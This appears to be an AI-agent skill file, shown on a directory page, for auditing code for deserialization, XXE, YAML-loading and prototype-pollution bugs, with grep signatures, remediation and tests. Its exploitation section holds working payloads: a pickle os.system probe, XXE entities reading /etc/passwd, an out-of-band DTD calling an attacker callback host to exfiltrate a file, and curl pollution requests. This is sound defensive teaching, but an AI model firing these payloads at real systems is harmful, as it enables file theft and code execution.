SuperAPI AI Directory
Partner with us中文AI newsFavorites
Skillsaegis-deserialization

aegis-deserialization

Data & analytics

View repository

Updated 10-15 17:19

About this skill

Check Module DESER — Deserialization & Object Injection

Scope & Objectives

Find every place where untrusted data (network input, message queues, files, cookies, cache entries) is converted back into executable objects or rich data structures, and determine whether an attacker can abuse that conversion to:

  1. Execute code (native deserialization gadget chains),
  2. Read files or reach internal services (XXE),
  3. Alter application logic without code execution (prototype pollution, object injection, type confusion).

Covered here: native object serialization (pickle, Java, .NET, PHP, Ruby), XML parsing incl. external entities (XXE), YAML loading, and server-side JavaScript prototype pollution. Out of scope (cross-referenced): mass assignment (API), SSRF from URL fetchers (SSRF), decompression/entity-bomb resource math (DOS), JWT/token integrity (AUTHN).

Prerequisites & Vocabulary

Zero-background primer: the terms this module uses, one line each. Deeper plain-language explanations for every class live in the repository GUIDE.md glossary.

  • deserialization: turning raw bytes (network data, files, cookies) back into live program objects
  • gadget chain: a sequence of ordinary classes an attacker chains so object construction ends up running their code
  • XXE: an XML feature that resolves external references, reading local files or calling internal URLs
  • prototype pollution: JavaScript trick adding keys like __proto__ that change object behavior across the whole app
  • integrity check before parse: verifying a signature on the blob BEFORE handing it to the parser
  • type confusion: bytes parsed as the wrong structure, so the program reasons about the wrong thing
  • taint flow / source→sink: path untrusted data travels from entry point to dangerous function
  • finding status: Confirmed > Probable > Needs-Review; evidence rules in templates/finding-report.md

Mental Model

Deserialization bugs follow one shape:

Untrusted bytes --> parser that CONSTRUCTS OBJECTS or RESOLVES REFERENCES --> side effects
     |                                       |
     |                                       +- constructors, magic methods,
     +- attacker fully controls bytes           class lookups, entity resolution,
        (no signature/AEAD verified first)      prototype traversal = attack surface

Three escalating risk tiers:

Tier Mechanism Typical outcome
T1 Object instantiation driven by attacker bytes RCE via gadget chains
T2 External entity / reference resolution File read, SSRF, DoS
T3 Key/path traversal inside plain structures Logic bypass, pollution

Key insight for auditors: the serializer alone is rarely the vulnerability. The missing integrity check before parse and the classes reachable during parse are what make it exploitable. A signed blob fed to pickle.loads is far less exploitable than an unsigned one; pickle.loads running in an app whose namespace exposes rich classes (e.g., Django) is riskier than one in a tiny CLI.

What To Check

  • Enumerate ALL deserialization sinks using Patterns & Signatures below.
  • For each sink, trace input origin: request body? header? cookie? queue message? uploaded file? DB row written elsewhere? config file?
  • For each reachable sink, verify integrity controls: is HMAC/signature or AEAD verification performed BEFORE the parse call, with a server-only key?
  • Distinguish signing from tamper-proofing: an HMAC still leaks content and collapses if the secret leaks; only verification over the exact serialized bytes before parsing meaningfully reduces risk.
  • XML: confirm EVERY parser disables external entities (exact flags in Remediation). One unprotected parser is enough for exploitation.
  • YAML: any yaml.load( without explicit Loader=SafeLoader/CSafeLoader.
  • Node.js: deep-merge calls (merge, extend, defaultsDeep, set, deepmerge) fed from JSON bodies; query parsers with bracket/array expansion; Object.assign config updates from request data.
  • Reflection: class/type names derived from input (getattr, Class.forName, Activator.CreateInstance, PHP variable class instantiation, Python importlib.import_module(variable)).
  • Session/cache stores: which serializer backs them (pickle-backed Django sessions/caches, Ruby Marshal cookies, PHP serialize handlers)?
  • Background jobs: workers deserializing broker payloads natively (Celery pickle protocol, JMS ObjectMessage, custom Marshal formats).
  • Import/export features ("restore backup", "migrate", "bulk import") that parse user-supplied structured files server-side.

Where To Look

High-yield locations, in priority order:

  1. API handlers accepting structured blobs: endpoints taking base64/hex fields named "payload", "data", "state", "export", "session", "token".
  2. Upload processors parsing documents server-side (Office/XML/YAML imports, SVG, project-file imports).
  3. Webhook receivers parsing XML/SOAP (legacy integrations are common XXE homes).
  4. Job/queue consumers: tasks.py, worker.js, *Consumer.java, app/jobs/*.
  5. Cookie/session decode paths and "remember me" token handling.
  6. Import/export features: restore, migrate, bulk import, backup upload.
  7. Config/bootstrap loaders reading .yaml/.yml/.xml where users influence path or content (multi-tenant theme/plugin uploads especially).

Entry-point context markers:

@(post|put|patch)\(.*(import|upload|restore|webhook|parse)
def .*(webhook|import|restore|migrate)\(
@RequestMapping.*consumes.*(xml|octet-stream)
\[HttpPost\].*(Import|Upload|Webhook)

Patterns & Signatures

Native serializer sinks (T1 — highest priority)

Language Dangerous sink Risk if tainted Safe replacement
Python pickle.loads / pickle.load / cPickle / _pickle Critical JSON + schema
Python yaml.load(...) without SafeLoader Critical–High yaml.safe_load
Python shelve.open on user-influenced file High sqlite/JSON
Java/Kotlin ObjectInputStream.readObject Critical JSON/protobuf
Java/Kotlin XMLDecoder.decode / .readObject() Critical remove feature
Java/Kotlin XStream.fromXML (old defaults) Critical–High JSON driver + type allowlist
C# BinaryFormatter.Deserialize Critical System.Text.Json
C# NetDataContractSerializer, ObjectStateFormatter, LosFormatter Critical–High DataContractSerializer w/ safe settings
PHP unserialize($user_input) Critical–High json_decode
Ruby Marshal.load on external data Critical–High JSON
Node node-serialize, func-token evals, re-eval of serialize-javascript output Critical JSON

Ripgrep signature blocks (no lookaheads; manual-filter notes included):

pickle\.loads?\(|cPickle\.loads?|_pickle\.loads?|shelve\.open\(yaml\.load\(|yaml\.unsafe_load|

Run the YAML half separately and manually drop hits containing Loader=SafeLoader, Loader=CSafeLoader, or safe_load:

yaml\.load\(|yaml\.unsafe_load|load\([^)]*FullLoader

ObjectInputStream|XMLDecoder|XStream|fromXML\(|BinaryFormatter|NetDataContractSerializer|ObjectStateFormatter|LosFormatterunserialize\s*\(|Marshal\.load|node-serialize|eval\(.*serialize

Blob-format recognition in code/data (helps confirm what a sink expects):

Format Marker
Python pickle (protocol 2+) bytes \x80\x02 … \x80\x05; ASCII ops like cos\nsystem
Java serialization hex AC ED 00 05 (rO0AB… base64)
.NET BinaryFormatter base64 prefix AAEAAAD/////
PHP O:<len>:"ClassName":<n>:{…}
Ruby Marshal x04x08 then class symbols

XML / XXE sinks (T2)

Parser Unsafe default Required hardening
Python lxml.etree resolves entities, fetches network DTDs resolve_entities=False, no_network=True; prefer defusedxml
Python xml.etree.ElementTree rejects entity definitions since 3.7.1; old versions vary use defusedxml.ElementTree for untrusted input
Python xml.sax external general entities resolvable features per Remediation table
Java DocumentBuilderFactory entities ON 3-feature set below + setExpandEntityReferences(false) + setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)
Java SAXParserFactory entities ON same feature set
.NET XmlReader.Create secure by default (DTD prohibited) never legacy new XmlTextReader(...) path; keep DTDProcessing=Prohibit for untrusted
PHP DOMDocument/simplexml libxml >=2.9 blocks network entities by default verify libxml version; older stacks need loader disable
Go encoding/xml no entity expansion low risk — state it and move on

Signatures:

etree\.parse\(|etree\.fromstring\(|xml\.sax|DocumentBuilderFactory|SAXParserFactory|XmlTextReader|simplexml_load|DOMDocument|XMLReader|SAXReader

XXE payload templates for reproduction:

<?xml version="1.0"?><!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]>
<r>&x;</r>

<?xml version="1.0"?><!DOCTYPE r [
  <!ENTITY % d SYSTEM "http://ATTACKER-CALLBACK/x.dtd">
  %d;]><r>send</r>

with x.dtd hosted at attacker: <!ENTITY % f SYSTEM "file:///etc/hostname"><!ENTITY % s "<!ENTITY o '%f;'>">%s; — concept only; build during authorized testing.

Prototype pollution (Node, T3)

Sink/marker signatures:

lodash.*(merge|mergeWith|setWith|defaultsDeep|zipObjectDeep)|deepmerge|deep-extend|merge-deep|defaults-deep|object-path|\bextend\(
qs\(|extended:\s*true|simple-parser__proto__|constructor\[.prototype.\]|constructor\.prototype

Vulnerable shape and fix:

// VULNERABLE - user JSON merged into config object
const { merge } = require('lodash');
app.post('/api/settings', (req, res) => {
  merge(defaultSettings, req.body);   // {"__proto__":{"isAdmin":true}}
  res.json({ ok: true });             // EVERY plain object now has isAdmin=true
});

// FIXED - structural keys stripped recursively before any merge
const BLOCKED = new Set(['__proto__', 'constructor', 'prototype']);
function sanitize(value) {
  if (Array.isArray(value)) return value.map(sanitize);
  if (value && typeof value === 'object') {
    const out = {};
    for (const [k, v] of Object.entries(value))
      if (!BLOCKED.has(k)) out[k] = sanitize(v);
    return out;
  }
  return value;
}
app.post('/api/settings', (req, res) => {
  merge(defaultSettings, sanitize(req.body));
  res.json({ ok: true });
});

Also check qs usage: bracket notation (?a[__proto__][x]=1) historically fed pollution via extended: true bodies on vulnerable library versions.

Reflection-driven object injection

getattr\([a-z_]+,\s*[a-z_.]*(request|params|args|input)|Class\.forName\(Activator\.CreateInstance|Type\.GetType\(\$|new \$[A-Za-z_]|call_user_func(_array)?\(|import_module\([^'"]

// VULNERABLE - class chosen straight from request
$handler = new $_POST['report_type']();     // arbitrary constructor invocation
// FIXED - allowlist map
$allowed = ['pdf' => PdfReport::class, 'csv' => CsvReport::class];
$cls = $allowed[$_POST['report_type']] ?? null;
if ($cls === null) { http_response_code(400); exit; }
$handler = new $cls();

Taint Tracing Guidance

Sources (TAINTED): req.body/JSON payloads, form fields, headers (incl. X-* metadata), cookies, query strings, uploaded file CONTENT (not just the name), queue/broker messages, webhook bodies, third-party API responses stored then re-parsed later, values read from caches another component writes.

Propagators: base64/hex decode helpers (Buffer.from, b64decode, Convert.FromBase64String), temp files, ORM round-trips of tainted columns (second-order flows: blob stored in one request, deserialized in another — grep the write sites too), archive entry contents.

Real sanitizers (safe to credit):

  • HMAC/asymmetric signature verified over the EXACT serialized bytes BEFORE parse;
  • AEAD encryption with auth tag enforced before decrypt-output is parsed;
  • schema validation rejecting unknown keys and constraining types before merges;
  • XML parsers configured with the exact hardening flags from Remediation.

Fake sanitizers (do NOT credit): try/catch around the load; length limits alone; is_string/type-hint checks; base64 encoding (transport, not integrity); signature verification performed AFTER parsing; blocklists of class names.

Reachability questions to answer per sink:

  1. Can an external actor control these bytes directly or via stored data?
  2. Which classes/modules are importable at parse time (gadget richness)?
  3. Is there any integrity gate upstream? Trace order of operations literally.

Exploitation & Reproduction

Reproduce benignly: payloads below prove control WITHOUT destructive actions. Never fire weaponized gadget chains at systems without explicit authorization; marker-file / env-dump proofs are sufficient for reports.

1. Python pickle — local proof-of-control

# Payload that ONLY writes $USER into /tmp/deser_proof.txt (benign proof)
python3 - <<'EOF'
import pickle
class P:
    def __reduce__(self):
        import os
        return os.system, ("echo $USER > /tmp/deser_proof.txt",)
open('/tmp/payload.bin','wb').write(pickle.dumps(P()))
EOF
# In a LOCAL test harness: pickle.loads(open('/tmp/payload.bin','rb').read())
# Expected observable: /tmp/deser_proof.txt appears => arbitrary code path proven.

Static-only confirmation: sink reachable from request input + no integrity gate = Confirmed under this rubric even without firing anything.

2. XXE file read

curl -s -H "Content-Type: application/xml" \
  --data-binary '<?xml version="1.0"?><!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]><r>&x;</r>' \
  https://TARGET/api/import
# Expected observable: response contains "root:x:0:0", or a parser error that
# reveals entity processing behavior.

Blind-response variant: point the DTD template at an attacker-controlled DNS/HTTP callback you are authorized to monitor; expected observable: inbound lookup during request processing.

3. Server-side prototype pollution

curl -X POST https://TARGET/api/settings -H 'Content-Type: application/json' \
  -d '{"__proto__":{"pollutedFlag":"DESER-PROOF"}}'
# Then hit ANY endpoint reflecting object properties:
curl -s https://TARGET/api/config | grep -o 'pollutedFlag[^,}]*'
# Expected observable: DESER-PROOF surfaces in output or changes behavior.

If nothing reflects it, pollution may still exist but impact is unproven -> status Probable with explicit reasoning.

4. PHP object injection

  1. Read target code; list classes whose magic methods (__wakeup, __destruct, __toString, __call) perform writes/deletes/queries.
  2. Craft O:<len>:"<ClassName>":<n>:{...} matching real property names.
  3. Submit through any parameter reaching unserialize().
  4. Expected observable: the side effect defined in the magic method occurs (log entry, cache key removed) => instantiation proven.

5. Java/.NET blob tampering (no gadget execution)

Modify field values inside a legitimately obtained serialized blob and resend; expected observable: server accepts altered state => integrity controls absent => document as Critical-tier without executing any gadgets.

Remediation

Decision tree:

  1. Can this data be plain JSON + schema validation? Do that — eliminates T1/T3.
  2. Rich objects genuinely required from semi-trusted sources? Sign/AEAD the EXACT bytes before storage/transit; verify BEFORE parse; keep keys server-side.
  3. Native serializers on external data: replace regardless of filters; class allowlists (e.g., resolveClass overrides) reduce but never eliminate risk.

Integrity ordering rule: verify-then-parse, never parse-then-inspect.

XXE hardening flags (exact names):

Parser Required configuration
Java DocumentBuilderFactory setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); setFeature("http://xml.org/sax/features/external-general-entities", false); setFeature("http://xml.org/sax/features/external-parameter-entities", false); setXIncludeAware(false); setExpandEntityReferences(false)
Java SAXParserFactory same feature URIs via setFeature on the factory
Python lxml etree.XMLParser(resolve_entities=False, no_network=True, load_dtd=False); prefer defusedxml wrappers for untrusted input
.NET new XmlReaderSettings { DtdProcessing = DtdProcessing.Prohibit, XmlResolver = null }
PHP require libxml >= 2.9 (network entities blocked); legacy stacks disable entity loader before parse

Prototype pollution defenses: recursive structural-key stripping at every merge boundary (snippet above); prefer Object.create(null) or Map for attacker-keyed stores; keep qs/body parsers patched; avoid extended:true query parsing unless needed; evaluate runtime hardening flags where supported.

Native-deserialization replacements (before/after):

# VULNERABLE
state = pickle.loads(base64.b64decode(req.data))
# FIXED
state = StateSchema().loads(base64.b64decode(req.data))  # JSON + schema

// VULNERABLE
Object o = new ObjectInputStream(in).readObject();
// FIXED
MyDto dto = objectMapper.readValue(in, MyDto.class);

// VULNERABLE
var o = new BinaryFormatter().Deserialize(stream);
// FIXED
var o = await JsonSerializer.DeserializeAsync<MyDto>(stream);

// VULNERABLE
$o = unserialize($input);
// FIXED
$o = json_decode($input, true, 512, JSON_THROW_ON_ERROR);

# VULNERABLE
obj = Marshal.load(raw)
# FIXED
obj = JSON.parse(raw)

// VULNERABLE
const obj = eval('(' + payload + ')');
// FIXED
const obj = JSON.parse(payload); // then validate against schema

Defense-in-depth: least-privilege workers so gadget side effects fail closed; alerting on deserializer exceptions (attack noise); patched serializer libraries; egress rules blocking surprise outbound lookups from parsers.

Verification & Validation

GIVEN/WHEN/THEN suites to add:

GIVEN a pickled payload with os.system reduce WHEN submitted to the state endpoint
THEN server responds 400 and NO side effect occurs (marker file absent)

GIVEN XML containing an external entity WHEN parsed by the import endpoint
THEN response contains no file content and parser logs a rejected-doctype error

GIVEN JSON body {"__proto__":{"x":1}} WHEN merged into settings
THEN Object.keys(settings.__proto__) shows no x AND config output lacks x

GIVEN a legitimate previously-stored blob WHEN loaded
THEN parsing succeeds unchanged (negative control: functionality intact)

Regression-test pseudocode (framework-agnostic):

test_rejects_native_deserialization_payloads:
  for payload in [pickle_rce_probe, java_magic_hex, php_0_syntax, dotnet_marker]:
    resp = send(parse_endpoint, payload)
    assert not resp.caused_side_effect and resp.status in (400, 415, 422)

test_xxe_blocked:
  resp = send(xml_endpoint, xxe_file_read_template)
  assert "root:x:0" not in resp.body

test_proto_pollution_resistant:
  send(merge_endpoint, {"__proto__": {"canary": 1}})
  assert reflect(canary) == absent

Manual re-test checklist:

  • Every former sink now uses safe parser/format or verified integrity first
  • Negative controls pass (legitimate blobs/XML still processed)
  • Grep sweep below returns zero unreviewed hits
  • Workers/consumers included, not just HTTP handlers

Re-scan greps post-fix (same patterns as Patterns & Signatures):

pickle\.loads?\(|unserialize\s*\(|Marshal\.load\(|BinaryFormatter|ObjectInputStream|XMLDecoder
yaml\.load\(disallow-doctype-decl|external-general-entities|DtdProcessing|SafeLoader
__proto__|constructor\.prototype

Severity Assessment

Instance CWE Typical CVSS v3.1 vector Band
Network-reachable native deser, no integrity check CWE-502 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Critical
Internal-only deser sink (service mesh) CWE-502 AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H High
XXE arbitrary file read CWE-611 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N High
XXE blind/OOB only CWE-611 AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N Medium–High
Proto pollution w/o demonstrated impact path CWE-1321 AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L Medium–High
Reflection class instantiation, allowlistable CWE-470 context-dependent Medium

Rubric anchors: attacker-controlled bytes + object construction = start Critical; strip severity only for proven integrity gates, unreachable sources, or empty gadget surface (document which classes ARE reachable when claiming low risk).

Common False Positives

  • Internal-only serializers between two trusted services on a private mesh with mTLS — downgrade, document trust boundary, do not delete finding silently.
  • JSON.parse everywhere — plain JSON decoding is NOT deserialization risk (except proto-pollution merges); do not flag standard REST handlers.
  • Pickle of app-generated data only with no user influence anywhere upstream (verify the WHOLE chain incl. admin tools and cron inputs).
  • Go encoding/xml — no entity expansion; XXE templates simply do not apply.
  • Schema-validated merges rejecting unknown keys already block pollution — confirm validation runs BEFORE merge, not after.
  • Signed cookies (e.g., itsdangerous): signature prevents blind tampering; flag only if secret strength/source is questionable (cross-ref SECRETS/AUTHN).

References